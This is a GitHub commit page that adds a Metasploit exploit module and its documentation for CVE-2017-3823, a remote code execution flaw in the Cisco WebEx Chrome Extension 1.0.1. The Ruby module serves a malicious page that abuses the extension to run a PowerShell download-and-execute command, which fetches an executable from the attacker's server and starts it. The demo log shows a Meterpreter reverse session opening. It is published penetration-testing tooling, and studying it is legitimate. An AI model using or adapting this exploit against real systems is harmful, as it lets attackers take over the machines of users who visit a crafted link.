Skip to content

Commit 38ea62f

Browse files
wchen-r7wchen-r7
committed
Land rapid7#7871, Add Cisco WebEx Extension 1.0.1 Remote Code Execution
2 parents 39761a9 + 6a58a3d commit 38ea62f

File tree

2 files changed

+181
-0
lines changed

2 files changed

+181
-0
lines changed

‎documentation/modules/exploit/windows/misc/cisco_webex_ext.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
Cisco WebEx is a suite of applications for online meeting organization and video conferencing.
2+
Included in this suite are extensions for popular web browsers which ease use and provide supplemental
3+
features.
4+
5+
Version 1.0.1 of the WebEx extension for Google Chrome contains a vulnerability which allows an
6+
attacker to execute arbitrary commands on a target, which can lead to arbitrary remote code execution.
7+
8+
9+
## Vulnerable Application
10+
11+
Cisco WebEx Chrome Extension 1.0.1 is known to be affected.
12+
13+
## Verification Steps
14+
15+
1. Start msfconsole
16+
2. Do: ```use exploit/windows/misc/cisco_webex_ext```
17+
3. Do: ```set SRVHOST [IP ADDRESS]```
18+
4. Do: ```set SRVPORT [PAYLOAD NAME]```
19+
5. Do: ```set URIPATH [ARBITRARY URI]```
20+
6. Do: ```Choose a payload and set any specific options```
21+
6. Do: ```run```, after a target browses to the generated URL, you should receive a session like the following:
22+
23+
## Demo
24+
25+
```
26+
msf > use exploits/windows/misc/cisco_webex_ext
27+
msf exploit(cisco_webex_ext) > set srvhost 10.6.0.151
28+
srvhost => 10.6.0.151
29+
msf exploit(cisco_webex_ext) > set srvport 4567
30+
srvport => 4567
31+
msf exploit(cisco_webex_ext) > set uripath not_a_very_good_meeting
32+
uripath => not_a_very_good_meeting
33+
msf exploit(cisco_webex_ext) > run
34+
[*] Exploit running as background job.
35+
36+
[*] Started reverse TCP handler on 10.6.255.229:4444
37+
[*] Using URL: https://10.6.0.151:4567/not_a_very_good_meeting
38+
[*] Server started.
39+
msf exploit(cisco_webex_ext) > [*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting
40+
[*] 10.6.0.151 cisco_webex_ext - From: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
41+
[*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html
42+
[*] 10.6.0.151 cisco_webex_ext - From: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
43+
[*] 10.6.0.151 cisco_webex_ext - Sending exploit html ...
44+
[*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting/qt3iFe8N
45+
[*] 10.6.0.151 cisco_webex_ext - From:
46+
[*] 10.6.0.151 cisco_webex_ext - Sending payload ...
47+
[*] Sending stage (957487 bytes) to 10.6.255.229
48+
[*] Meterpreter session 1 opened (10.6.255.229:4444 -> 10.6.255.229:57472) at 2017-01-26 13:27:28 -0600
49+
50+
msf exploit(cisco_webex_ext) >
51+
```
52+

‎modules/exploits/windows/misc/cisco_webex_ext.rb

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::HttpServer
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)",
17+
'Description' => %q{
18+
This module exploits a vulnerability present in the Cisco WebEx Chrome Extension
19+
version 1.0.1 which allows an attacker to execute arbitrary commands on a system.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Tavis Ormandy <[email protected]>', # Original research/PoC
25+
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
26+
],
27+
'Platform' => 'win',
28+
'DefaultOptions' =>
29+
{
30+
'SSL' => true,
31+
},
32+
'Targets' =>
33+
[
34+
[ 'Cisco WebEx Extension 1.0.1',
35+
{
36+
'Platform' => 'win',
37+
'Arch' => ARCH_X86,
38+
}
39+
],
40+
],
41+
'References' =>
42+
[
43+
[ 'CVE', '2017-3823' ],
44+
],
45+
'Arch' => ARCH_X86,
46+
'DisclosureDate' => "Jan 21 2017",
47+
'DefaultTarget' => 0
48+
))
49+
end
50+
51+
def setup
52+
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
53+
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
54+
super
55+
end
56+
57+
def exploit_html(cli, req_uri)
58+
base_uri = "#{get_resource.chomp('/')}"
59+
html = %Q~
60+
<html>
61+
<head>
62+
<script>
63+
var msg = {
64+
GpcProductRoot: "WebEx",
65+
GpcMovingInSubdir: "Wanta",
66+
GpcProductVersion: "T30_MC",
67+
GpcUnpackName: "atgpcdec",
68+
GpcExtName: "atgpcext",
69+
GpcUnpackVersion: "27, 17, 2016, 501",
70+
GpcExtVersion: "3015, 0, 2016, 1117",
71+
GpcUrlRoot: "http://127.0.0.1/",
72+
GpcComponentName: btoa("MSVCR100.DLL"),
73+
GpcSuppressInstallation: btoa("True"),
74+
GpcFullPage: "True",
75+
GpcInitCall: btoa("_wsystem(Ex1);"),
76+
Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
77+
}
78+
79+
function runcode()
80+
{
81+
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
82+
document.dispatchEvent(new CustomEvent("message", { detail: {
83+
message: JSON.stringify(msg),
84+
message_type: "launch_meeting",
85+
timestamp: (new Date()).toUTCString(),
86+
token: "token"
87+
}
88+
}));
89+
}
90+
</script>
91+
</head>
92+
<body onload="runcode()">
93+
94+
</body>
95+
</html>
96+
~
97+
98+
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
99+
end
100+
101+
def on_request_uri(cli, request)
102+
print_status("Got request: #{request.uri}")
103+
print_status("From: #{request.headers['User-Agent']}")
104+
105+
if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
106+
print_status("Sending exploit html ...")
107+
exploit_html(cli, request.uri)
108+
close_client(cli)
109+
return
110+
elsif request.uri =~ /.*#{@payload_uri}$/
111+
return if ((payload = regenerate_payload(cli)) == nil)
112+
print_status("Sending payload ...")
113+
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
114+
else
115+
base_uri = "#{get_resource.chomp('/')}"
116+
html = %Q~
117+
<html>
118+
<head>
119+
<meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
120+
</head>
121+
<body>
122+
</body>
123+
</html>
124+
~
125+
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
126+
close_client(cli)
127+
end
128+
end
129+
end

0 commit comments

Comments
 (0)